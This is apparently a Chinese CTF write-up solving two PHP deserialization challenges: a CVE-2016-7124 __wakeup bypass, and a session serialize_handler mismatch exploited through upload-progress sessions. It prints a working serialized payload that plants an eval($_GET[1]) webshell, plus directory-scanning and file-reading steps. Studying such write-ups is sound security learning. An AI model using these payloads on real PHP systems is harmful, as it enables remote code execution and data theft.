BUU - [极客大挑战2019] PHP

考虑扫描,结果 BUUOJ 有访问次数限制。人工试 www.zip 拿到源码。

<!-- class.php -->
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
<!-- index.php -->
...
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>
...

逻辑如下:首先反序列化我们提交的字符串,注意 __wakeup 函数会在 Name 类反序列化时调用。Name 对象销毁时,若 password==100username === 'admin' 则获得 flag。

第一步是 bypass 这个 __wakeup 函数。从 Header 里面我们得知 php 版本是 5.3.3。

php 反序列化经常使用 CVE-2016-7124,有效范围是 「PHP before 5.6.25 and 7.x before 7.0.10」。这里符合条件,所以当反序列化时,若 O 标记所声明的属性个数大于实际的属性个数,则 __wakeup 会被跳过。

构造 payload 的脚本如下:

<?php

class Name{
    private $username = 'admin';
    private $password = 100;
}

$obj = new Name();
var_dump(serialize($obj));
var_dump 有颜色是因为装了 xdebug

把这个 2 改成 3,urlencode 之后拿到 flag。

总结:考察了 CVE-2016-7124 的使用。

Jarvis - Web - PHPINFO

题目入口 http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

拿 phpinfo,如下:

首先我们要搭建复现环境。docker-compose 如下:

version: "3.1"

services:
  web:
    image: php:5.6.21-apache
    restart: always
    ports:
      - 10008:80
    volumes:
      - ./src:/var/www/html

查看 phpinfo,发现题目环境的一些异常。

  • session.serialize_handler 在题目环境中 master 值是 php_serialize ,但我们查阅 文档,得知这个默认应该是 php ;在 index.php 里面又被手动设为了 php ,所以 local 值是 php
  • session.upload_progress.cleanup 被设为了 Off,默认为 On。查阅文档可知,如果这个被设为 On,则 upload progress session 会在文件上传完成之后被清空。目前设为 Off,来保留这个 session 字段。这个很重要,对复现环境和解题都有影响。

于是我们创建 /usr/local/etc/php/php.ini ,里面写:

session.serialize_handler=php_serialize
session.upload_progress.cleanup=off

docker-compose 重启容器,我们得到了与题目一致的复现环境。

题目中并没有暴露 unserialize 接口,我们应当从其他地方寻找反序列化点。一旦找到,就可以 RCE。

我们知道,PHP 的 session 就是一个键值对。而关于它在文件系统中的存储方式,查阅 文档 得知:

session.serialize_handler defines the name of the handler which is used to serialize/deserialize data. PHP serialize format (name php_serialize), PHP internal formats (name php and php_binary) and WDDX are supported (name wddx). WDDX is only available, if PHP is compiled with WDDX support. php_serialize uses plain serialize/unserialize function internally and does not have limitations that php and php_binary have. Older serialize handlers cannot store numeric index nor string index contains special characters (| and !) in $_SESSION. Use php_serialize to avoid numeric index or special character errors at script shutdown. Defaults to php.

首先是默认形式 php 。存储方法为 key|value 。我们构造一个来看一下:

<?php

ini_set('session.serialize_handler', 'php');
session_start();

$_SESSION['msg1'] = 'hello, world';
$_SESSION['msg2'] = '你好,世界!';

var_dump($_SESSION);

浏览器访问这个页面:

我们的 cookie 值是 295c752a4ccb19cdaa932515121d1333,这个容器的 session 存储位置是 /tmp ,所以查看 /tmp/sess_295c752a4ccb19cdaa932515121d1333 文件:

可以看到,session 文件如下:

msg1|s:12:"hello, world";msg2|s:18:"你好,世界!";

第二种存储方式是 php_binary 。它不采用竖线 | 来分隔 key 和 value,而是将 key 的长度以其 ascii 对应字符编码。如下:

\x04msg1s:12:"hello, world";\x04msg2s:18:"你好,世界!";

第三种存储方式,也是 PHP 手册所推荐的, php_serialize 。它不按一个个键值对「各自编码,最后拼接」,而是将整个 session 作为一个 Array 来序列化。如下:

a:2:{s:4:"msg1";s:12:"hello, world";s:4:"msg2";s:18:"你好,世界!";}

当 session 文件的存储采用某种方式,而读取采用另一种方式时,就会产生可以利用的不一致性。

PHP 提供了 upload process session 来存储文件传输的进度。要使用这一特性,可以在文件上传的接口建立一个 PHP_SESSION_UPLOAD_PROGRESS 字段(可能有变,由 session.upload_progress.name 的设置决定),具体而言是写这样一个上传框:

<form action="upload.php" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="myfile" />
  <input type="file" name="file1" />
  <input type="submit" />
</form>

于是在上传文件途中, $_SESSION['upload_progress_myfile'] 会包含文件上传过程中的信息。由于 session.upload_progress.cleanup 设为了 Off,这个 session 字段在文件传输完成后仍然保留。

我们来试验一下:

<?php

session_start();

echo file_get_contents('/tmp/sess_9cd52f6ea0f02a3d7fbee68be6032eb3');

var_dump($_SESSION);

/*
a:1:{s:22:"upload_progress_myfile";a:5:{s:10:"start_time";i:1628673619;s:14:"content_length";i:307;s:15:"bytes_processed";i:307;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:9:"blue.jpeg";s:8:"tmp_name";s:14:"/tmp/phphWmv3Y";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1628673619;s:15:"bytes_processed";i:3;}}}}

array(1) {
  ["upload_progress_myfile"]=>
  array(5) {
    ["start_time"]=>
    int(1628673619)
    ["content_length"]=>
    int(307)
    ["bytes_processed"]=>
    int(307)
    ["done"]=>
    bool(true)
    ["files"]=>
    array(1) {
      [0]=>
      array(7) {
        ["field_name"]=>
        string(5) "file1"
        ["name"]=>
        string(9) "blue.jpeg"
        ["tmp_name"]=>
        string(14) "/tmp/phphWmv3Y"
        ["error"]=>
        int(0)
        ["done"]=>
        bool(true)
        ["start_time"]=>
        int(1628673619)
        ["bytes_processed"]=>
        int(3)
      }
    }
  }
}

*/

发现上传文件时,upload progress session 的编码方式是 php_serialize 。而本题的 index.php 又会以 php 方式来读取 session 文件,于是产生了不一致性。

由于读取时是采用 php 方式,竖线前面的部分视为 key,竖线后面的部分视为 value。那么我们完全可以把 PHP_SESSION_UPLOAD_PROGRESS 设为 myfile|sth ,则最终存储到文件中的内容如下:

a:1:{s:22:"upload_progress_myfile|sth";a:5....

当以 php 方式来读取时,会认为 a:1:{s:22:"upload_progress_myfile 是一个 key,将 sth";a:5... 这些内容视为 value 在序列化之后的结果,进行 unserialize。

我们需要知道一条性质:unserialize 执行时,只要成功构建出一个对象,则会立即停止反序列化,忽略字符串之后的部分。于是我们只需要在 sth 填入完整的序列化串(以分号结尾),之后的 ";a:5... 这些垃圾就会被忽略掉。

最终的 payload 如下:

myfile|O:5:"OowoO":1:{s:4:"mdzz";s:15:"eval($_GET[1]);";}

于是构造出了一个 RCE。不过 system 之类的函数被禁用了。采用 var_dump(scandir(dirname(__FILE__)))  来扫当前目录,用 show_source 来读文件即可。

总结:

  1. session 在文件系统中有几种不同的存储方式
  2. 在成功反序列化一个对象之后,字符串的后续内容会被忽略
  3. 及早搭建复现环境,还是很重要的。


参考链接:

https://xz.aliyun.com/t/3674